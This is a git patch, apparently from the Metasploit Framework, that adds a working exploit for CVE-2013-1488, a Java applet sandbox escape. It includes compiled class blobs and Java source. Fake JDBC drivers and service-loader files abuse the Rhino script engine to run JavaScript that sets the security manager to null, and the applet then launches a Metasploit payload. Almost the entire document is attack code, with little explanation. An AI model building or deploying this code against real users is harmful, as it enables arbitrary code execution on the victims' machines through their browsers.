From 7090d4609b2bdaaa6f17168974dae732812157ca Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan.vazquez@metasploit.com>
Date: Fri, 7 Jun 2013 13:38:41 -0500
Subject: [PATCH] Add module for CVE-2013-1488

---
 data/exploits/cve-2013-1488/Exploit.class     | Bin 0 -> 947 bytes
 data/exploits/cve-2013-1488/FakeDriver.class  | Bin 0 -> 1771 bytes
 data/exploits/cve-2013-1488/FakeDriver2.class | Bin 0 -> 1573 bytes
 .../META-INF/services/java.lang.Object        |   1 +
 .../META-INF/services/java.sql.Driver         |   2 +
 .../exploits/cve-2013-1488/Exploit.java       |  41 ++++++++++
 .../exploits/cve-2013-1488/FakeDriver.java    |  65 ++++++++++++++++
 .../exploits/cve-2013-1488/FakeDriver2.java   |  70 ++++++++++++++++++
 .../META-INF/services/java.lang.Object        |   1 +
 .../META-INF/services/java.sql.Driver         |   2 +
 .../source/exploits/cve-2013-1488/Makefile    |  19 +++++
 11 files changed, 201 insertions(+)
 create mode 100644 data/exploits/cve-2013-1488/Exploit.class
 create mode 100644 data/exploits/cve-2013-1488/FakeDriver.class
 create mode 100644 data/exploits/cve-2013-1488/FakeDriver2.class
 create mode 100755 data/exploits/cve-2013-1488/META-INF/services/java.lang.Object
 create mode 100755 data/exploits/cve-2013-1488/META-INF/services/java.sql.Driver
 create mode 100755 external/source/exploits/cve-2013-1488/Exploit.java
 create mode 100755 external/source/exploits/cve-2013-1488/FakeDriver.java
 create mode 100755 external/source/exploits/cve-2013-1488/FakeDriver2.java
 create mode 100755 external/source/exploits/cve-2013-1488/META-INF/services/java.lang.Object
 create mode 100755 external/source/exploits/cve-2013-1488/META-INF/services/java.sql.Driver
 create mode 100644 external/source/exploits/cve-2013-1488/Makefile

diff --git a/data/exploits/cve-2013-1488/Exploit.class b/data/exploits/cve-2013-1488/Exploit.class
new file mode 100644
index 0000000000000000000000000000000000000000..78895514f31ed0b6356faf5fdd4b6d411724650a
GIT binary patch
literal 947
zcmZuw+fvg|6kP`j2_Z-+P(Zwtd&?y$cma#!jDx7m6owfbUVJ*V#~P+hVv<t$BA@XA
z86W%rKgw|>K|!URIlJ9id+oK?KKb$U+jjsKDhBRgyblw&t7Fo@J>1vvK*vKJ1p`x<
z)-YpW7IQl04J@Fjp`>9^p!d1sI?)S(?qcasAhYGwmB3)tan)YCb)<rK@~Fv7CWZ<0
z_|kD1^Tq11Jdw8SME09N`X8NIxET`|2VOg<sn<?iWNx4OP0xv}7;9n>Sq)1jma!r*
z@Kyz?&{2hkXIYj8%Y==x!0d7Ts8(r(A1dLeX2rHw*Ve5vzpIsv@<!PXWy_DLd)uK3
zoVtMS%P{PCL0!YDi8VYD7*3=$rQ5K#PixAL9M9G8*u)b&70{}ltUGQ)!@7wLJY(ic
zra&$o%4dtnewhS;>^0rNSs1An&GOnbVKnu?@$CJ8t{g;xlC90({r^t0iywoUF6*w$
zOBAw-ViNE2Nh6MJzY3fa73@k^HdH{b8Y<fITvyfNQ3Q5xAxO2{r2IcqN>g!%YdQ+f
zwNxa-WL5UQJZsV*ZoI`+$D4kC3lTRxlzMgJ0&x5FKz7oJ1jcSrxwBI`<aHe2ZH+(O
z;9WzO=Meu*F$%_>#jg<O{6S?r4RrDBM+PP{!++o>Ebrly`7h|obzdNp>#62?cXQg_
z((=kB^h)M4GF5R2BaY_@%LLzyKHO)kS;my#A~)DcCwD(aC~cH-@_d&ji5@39#!s`N
mfH};tYJ`YX@&Z*Q>Xvf-*|qG%1<ZeiFK~b&;dwUc!q_kP^wHP=

literal 0
HcmV?d00001

diff --git a/data/exploits/cve-2013-1488/FakeDriver.class b/data/exploits/cve-2013-1488/FakeDriver.class
new file mode 100644
index 0000000000000000000000000000000000000000..4d10f97deb0e916f6b76f488e344377b3330469a
GIT binary patch
literal 1771
zcma)6U31$+6g?X!mMzpe32959Ee#|Pr>)%&K8h0>iW5_V>xLRK6dpRVvM~yZ6jpME
z@`rfgp|mq?hR(nvGyEuqvyx-Wc4pv3T3wxc_S}2!?%)6X{s({(?wfcI?;H5Qz=tL#
zaLYsnALVfh6%(siGjSRp>(ARctebp)qQiF#d}^R-U_-$C`a$E-)`QJj{TqSV#-4p>
zmp$9>lv|N<{m!buscPVdk?lv@w%3(8Yzkx^h1Uh<6LdFny>d&cL)Vdwz}}IHNoO6;
z4#P!Fx2WkB@3;4)6A8?uwy0_h!THu>Kl)xqt|O3hBdP2tP~=!Hrgo_J;>1r@gB>YQ
zXt=&?cK6#-ePy>jMzU+J??$&NaJjh6+HA*>2T{lp1<ov|cJ38d{Fb22pESs2kp^lk
zcW<ZdRD=Bk&t=Uq6;XwbjJ9kg{iqRiI+E(n52^DQWxLABUux6|_gp_v+fs!jkBREN
zxV@K($J8n~kScmy_jdz<yC+CZbz&<4yE0rYewW0<AHDL1au22I{fwC?!*BxMj~l=K
z|49d&v|eXZzixZz{;ZpvSSzq}0%Omyc!G}Y&8<0J&lj^5bd@7(u6C<Xvwx6@>XIH5
z1D{#Ai)#Xx24fhLG=r!Xbp4&aRRR|WkY*5rHso#sQYugu>iFEk1$<#)4rdHBEX?C|
z9l2=XEY1l`Ylf0mT1tk~LK)XA+(VO7G0?`*iT8@<{7yTJl<h<<$<Zjp@j>r<!&BK0
zcPormjx#l)^<^WaKFJ((iAL=Ps%h`DEvB9v8HRR;A9Kf37GwKo^2A~0#Ge}|9XgRT
z&*RY)xRUlPF(`e=hLTpXz#HQ<SSW9mc}!!5>sekr6L=MQ-B+%2x|@u@#x-DZ#Xj@-
z2EX3qTkvf>MfN$2CtUL2@R^Onb9~YdJ~eoOZw;PWd4b$-eW<?Hz#S&J!weZO@ms_7
z9{SJ3<ga~fLVJN!AYR}tX1t9>u8uSG2ICnE#4X{SQJfeRyhPl)SRTb?Mimr^D~{vF
zlwKun1(#D5WwgGreQyp`bOl%cGovz;Q5x4WHL7`?PICTx%s1$`?(Xc$5yX?mOJp8i
zevZi(nEI2|>+VkRf7;AKZvt|--naBt%mJK#iu_+F%$i4d<>52re?gX!BUsOn9d)`u
Nucpa-Lw5o<{{_N+ao7L=

literal 0
HcmV?d00001

diff --git a/data/exploits/cve-2013-1488/FakeDriver2.class b/data/exploits/cve-2013-1488/FakeDriver2.class
new file mode 100644
index 0000000000000000000000000000000000000000..62fdfceec65fcba3bc0df1cea8e4852daaeb6ab2
GIT binary patch
literal 1573
zcma)6U31$+6g_LZkz>0gb^1Y|P!rnPN?NNQKp{?Az;&jXaY|Z4VA_X{B5zy;c@<V`
zlMKV};e`jvLz(ix@Z2BO;YfCBC+-Zj#=FwlbI-kd@7;a*>hFI5RME&GkMcAsuya_%
zQXW@u)j~B3Cyx`jmO~ELE!?nh)50efJ{8D)_pte7^I>Cc{Re?!bJy*=PT;DJ(=ysu
zotnVOdZ;4fDzoJVJ(<O40#hr#^3835bj98h$kfBO6qsrHO5X2vx268p-42N4T+fqx
zCZZ34GnGko`w>Zv{g~v_i-lYCx7*(K>S1>;@aZ)1LDo!1noU<rWtw59BelT!iaikQ
z89#6WqKwxWtTOD_V8d6T-jX_^cp|hu#NFL7JdxJnp48@GUG0Pd_udfdn6J$N*_Tnx
zemuaVp91Hu_WM!~7ZW9hVR@la(&IkvyuIj1lev$r89%kMD_$^6e6AJtv?tg6IL)(b
z?vHZd{YEveU;(F4wD5TWUtrlnt$-D*TDV=n9egP;A9MDd$kYCwaazgLP)r}S`sS%0
zRZTc3e`&R}(^HB6ie36;IyS7v?NMzVL`HV2ku)vo^|WseHeBVhFcsAc0=qV?rRix^
zDwk`&)+BY5{JGT7I@A@rCaYZ;MPw6?{ncavU*YQl>bNT~H)_Jyts#&f+oZs$gp*YM
zo*O-FNhWwE!A6xBw$gGp+F2&L%ocpjXgz3-Y3D}TY?CL^b>?WS-Yu#7z9*ZZ+m@Pj
zI5%>BWQi5>jnu9Q*`8;QwCDN|r*&~;eTec1DY?%roIW&4j^H=jyR1D;GP3Um0+-*=
zLBlg}l%ICn?PCXSsAWIGN4x~`5Ge3JkCS+Z^9-+#6lO8aceW14IU<r+hO@o+7sQ`P
zJx98^^a2@ye{o{tN^$B1tQ77qUVV=2_rD>t@r;IfTtqn$I!)6BWH}ZoGsl%Pe9q!S
zJ{K8A85ej{Ezn_%rV^L$Q6WW(ROWY%ObEv*&LI07#|+=!rNumAW*lTZ$Lo_8OXR(e
z^T&DO53<LV9r8Y4Ovm)n$0N8&-i1ltM5MRKD{+6L9i`*=Cj71*+0g<%{$Gpwm_?R3
YJS@~a_2Zv-77t@do8{LfVkuny4^84+Hvj+t

literal 0
HcmV?d00001

diff --git a/data/exploits/cve-2013-1488/META-INF/services/java.lang.Object b/data/exploits/cve-2013-1488/META-INF/services/java.lang.Object
new file mode 100755
index 0000000000..087c407d2a
--- /dev/null
+++ b/data/exploits/cve-2013-1488/META-INF/services/java.lang.Object
@@ -0,0 +1 @@
+com.sun.script.javascript.RhinoScriptEngine
diff --git a/data/exploits/cve-2013-1488/META-INF/services/java.sql.Driver b/data/exploits/cve-2013-1488/META-INF/services/java.sql.Driver
new file mode 100755
index 0000000000..5c5fdf65b2
--- /dev/null
+++ b/data/exploits/cve-2013-1488/META-INF/services/java.sql.Driver
@@ -0,0 +1,2 @@
+FakeDriver
+FakeDriver2
diff --git a/external/source/exploits/cve-2013-1488/Exploit.java b/external/source/exploits/cve-2013-1488/Exploit.java
new file mode 100755
index 0000000000..f79bcac915
--- /dev/null
+++ b/external/source/exploits/cve-2013-1488/Exploit.java
@@ -0,0 +1,41 @@
+import java.applet.Applet;
+import java.awt.Graphics;
+import java.sql.*;
+//import java.lang.Runtime;
+import metasploit.Payload;
+
+public class Exploit extends Applet
+{
+
+    public Exploit()
+    {
+    }
+
+    public void init()
+    {
+        try
+        {
+            System.out.println("Here we go...");
+			String url = "jdbc:msf:sql://127.0.0.1:8080/sample";
+			String userid = "userid";
+			String password = "password";
+            Connection con = DriverManager.getConnection(url, userid, password); 
+        }
+        catch(Exception localThrowable)
+        {
+            //localThrowable.printStackTrace();
+        }
+        try {
+			Payload.main(null);
+			//Runtime.getRuntime().exec("calc.exe");
+			
+		} catch(Exception ex) {
+			//ex.printStackTrace();
+		}
+    }
+
+    public void paint(Graphics paramGraphics)
+    {
+        paramGraphics.drawString("Loading", 50, 25);
+    }
+}
diff --git a/external/source/exploits/cve-2013-1488/FakeDriver.java b/external/source/exploits/cve-2013-1488/FakeDriver.java
new file mode 100755
index 0000000000..9c6500287e
--- /dev/null
+++ b/external/source/exploits/cve-2013-1488/FakeDriver.java
@@ -0,0 +1,65 @@
+import java.sql.*;
+import java.util.logging.Logger;
+import java.util.Properties;
+import java.util.AbstractSet;
+import java.util.ServiceLoader;
+import java.util.Iterator;
+
+
+public class FakeDriver extends AbstractSet implements java.sql.Driver
+{
+    public static final String URL_PREFIX = "jdbc:msf:sql:";
+	public static ServiceLoader _s1;
+	
+    static {
+		_s1 = ServiceLoader.load(Object.class);
+    }
+    
+    public Iterator iterator()
+    {
+		return _s1.iterator();
+	}
+    
+    public FakeDriver() {
+	}
+
+    public final boolean acceptsURL(String url)
+        throws SQLException
+    {
+        return true;
+    }
+    
+	public final boolean jdbcCompliant() {
+        return true;
+    }
+ 
+    public final Logger getParentLogger() {
+		return null;
+	}
+	
+    public final int getMinorVersion() {
+        return 0;
+    }
+    
+	public final int getMajorVersion() {
+        return 1;
+    }
+    
+    public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
+        throws SQLException
+    {
+        return null;
+    }
+    
+    
+    public final Connection connect(String url, Properties info)
+        throws SQLException
+    {
+        return null;
+    }
+
+	//AbstractSet
+	public final int size() {
+		return 2;
+	}
+}
diff --git a/external/source/exploits/cve-2013-1488/FakeDriver2.java b/external/source/exploits/cve-2013-1488/FakeDriver2.java
new file mode 100755
index 0000000000..dd9666240d
--- /dev/null
+++ b/external/source/exploits/cve-2013-1488/FakeDriver2.java
@@ -0,0 +1,70 @@
+import java.sql.*;
+import java.util.logging.Logger;
+import java.util.Properties;
+import java.util.HashSet;
+import java.util.Iterator;
+import javax.script.*;
+import java.io.*;
+import java.lang.*;
+
+public class FakeDriver2 extends HashSet implements java.sql.Driver
+{
+    public static final String URL_PREFIX = "jdbc:msf:sql:";
+
+    static {
+
+    }
+        
+    public FakeDriver2() {
+		Iterator i = FakeDriver._s1.iterator();		
+		try {
+			ScriptEngine e = (ScriptEngine)i.next();
+			Object proxy = (Object) e.eval(
+				"this.toString = function() {" +
+				"	java.lang.System.setSecurityManager(null);" +
+				"	return '';" +
+				"};" +
+				"e = new Error();" +
+				"e.message = this;" +
+				"e");
+			this.add(proxy);
+		} catch (Exception ex) {
+			//ex.printStackTrace();
+		}	
+	}
+
+    public final boolean acceptsURL(String url)
+        throws SQLException
+    {
+        return true;
+    }
+    
+	public final boolean jdbcCompliant() {
+        return true;
+    }
+ 
+    public final Logger getParentLogger() {
+		return null;
+	}
+	
+    public final int getMinorVersion() {
+        return 0;
+    }
+    
+	public final int getMajorVersion() {
+        return 1;
+    }
+    
+    public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
+        throws SQLException
+    {
+        return null;
+    }
+        
+    public final Connection connect(String url, Properties info)
+        throws SQLException
+    {
+        return null;
+    }
+
+}
diff --git a/external/source/exploits/cve-2013-1488/META-INF/services/java.lang.Object b/external/source/exploits/cve-2013-1488/META-INF/services/java.lang.Object
new file mode 100755
index 0000000000..087c407d2a
--- /dev/null
+++ b/external/source/exploits/cve-2013-1488/META-INF/services/java.lang.Object
@@ -0,0 +1 @@
+com.sun.script.javascript.RhinoScriptEngine
diff --git a/external/source/exploits/cve-2013-1488/META-INF/services/java.sql.Driver b/external/source/exploits/cve-2013-1488/META-INF/services/java.sql.Driver
new file mode 100755
index 0000000000..5c5fdf65b2
--- /dev/null
+++ b/external/source/exploits/cve-2013-1488/META-INF/services/java.sql.Driver
@@ -0,0 +1,2 @@
+FakeDriver
+FakeDriver2
diff --git a/external/source/exploits/cve-2013-1488/Makefile b/external/source/exploits/cve-2013-1488/Makefile
new file mode 100644
index 0000000000..8a0b3bdff4
--- /dev/null
+++ b/external/source/exploits/cve-2013-1488/Makefile
@@ -0,0 +1,19 @@
+CLASSES = \
+	Exploit.java  \
+	FakeDriver.java \
+    FakeDriver2.java
+
+.SUFFIXES: .java .class
+.java.class:
+	javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
+
+all: $(CLASSES:.java=.class)
+
+install:
+	mv Exploit.class ../../../../data/exploits/cve-2013-1488/
+	mv FakeDriver.class ../../../../data/exploits/cve-2013-1488/
+	mv FakeDriver2.class ../../../../data/exploits/cve-2013-1488/
+	cp -r META-INF ../../../../data/exploits/cve-2013-1488/
+
+clean:
+	rm -rf *.class